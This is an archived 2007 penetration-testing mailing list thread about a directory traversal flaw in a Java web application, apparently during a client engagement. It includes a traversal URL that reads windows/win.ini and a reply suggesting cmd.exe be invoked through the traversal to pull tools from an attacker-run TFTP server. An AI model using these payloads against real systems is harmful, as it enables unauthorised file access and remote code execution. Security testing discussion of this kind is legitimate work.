Penetration Testing mailing list archives
Re: Directory Transversal
From: jfvanmeter () comcast net
Date: Mon, 22 Oct 2007 13:05:31 +0000
I want to thank everyone for the help, my client has ask me to continue working on this problem to see what else might happen. Here is alittle more information about application that is web enabled. Its running under java, and check to see if java 1.5 is installed, and if its not it phones home to SUN, and prompts you to download 1.5. Could these line be causing the problem? if (_ie == true) document.writeln('<OBJECT classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" WIDTH = "900" HEIGHT = "600" ALIGN = "baseline" VSPACE = "0" HSPACE = "0" codebase="http://java.sun.com/update/1.5.0/jinstall-1_5_0-windows-i586.cab#Version=1,5,0,0"><NO EMBED><XMP>'); else if (_ns == true && _ns6 == false) document.writeln('<EMBED type="application/x-java-applet;version=1.5" WIDTH = "900" HEIGHT = "600" ALIGN = "baseline" VSPACE = "0" HSPACE = "0" CODE = "KeyInfoApplet.class" CODEBASE = "" scriptable=false pluginspage="http://java.sun.com/products/plugin/1.5/plugin-install.html"><NO EMBED><XMP>'); //--></SCRIPT> -------------- Original message ---------------------- From: pand0ra <pand0ra.usa () gmail com>
God is this an old exploit. Dogbert needs to come in and beat someone with the stick of stupidity. Rant over, here is what I have done in the past. I just setup a tftp server on my end and call tftp through the URL and download whatever tools I want on that system. I haven't done it in a while so I am a little rusty on the exact syntax. http://mycomputer:port#/..//..//..//..//..//..//..//windows/cmd.exe?tftp On 10/17/07, jfvanmeter () comcast net <jfvanmeter () comcast net> wrote:Hello everyone, I'm in the middle of a test on a app that the followingcommand works onhttp://mycomputer:port#/..//..//..//..//..//..//..//windows/win.ini and it will prompt me to save the file, if i check my packet capture I see thecontents of the file.So far I've been unable to get a put or post command to work and was hoping toget some ideas from you all on things to try.I've been trying to get nc/telnet and some other tools to help me with the putcomandThanks in advance --John ------------------------------------------------------------------------ This list is sponsored by: Cenzic Need to secure your web apps NOW? Cenzic finds more, "real" vulnerabilities fast. Click to try it, buy it or download a solution FREE today! http://www.cenzic.com/downloads ------------------------------------------------------------------------------------------------------------------------------------------------ This list is sponsored by: Cenzic Need to secure your web apps NOW? Cenzic finds more, "real" vulnerabilities fast. Click to try it, buy it or download a solution FREE today! http://www.cenzic.com/downloads ------------------------------------------------------------------------
------------------------------------------------------------------------ This list is sponsored by: Cenzic Need to secure your web apps NOW? Cenzic finds more, "real" vulnerabilities fast. Click to try it, buy it or download a solution FREE today! http://www.cenzic.com/downloads ------------------------------------------------------------------------
Current thread:
- Directory Transversal jfvanmeter (Oct 18)
- Re: Directory Transversal Lee Lawson (Oct 19)
- Re: Directory Transversal Zed Qyves (Oct 19)
- Re: Directory Transversal pand0ra (Oct 19)
- <Possible follow-ups>
- Re: Directory Transversal jfvanmeter (Oct 19)
- RE: Directory Transversal jfvanmeter (Oct 19)
- re: Directory Transversal Sat Jagat Singh (Oct 19)
- Re: Directory Transversal jfvanmeter (Oct 19)
- RE: Directory Transversal Walsh, Leo (Oct 19)
- Re: Directory Transversal jfvanmeter (Oct 23)
- Re: Directory Transversal Zed Qyves (Oct 24)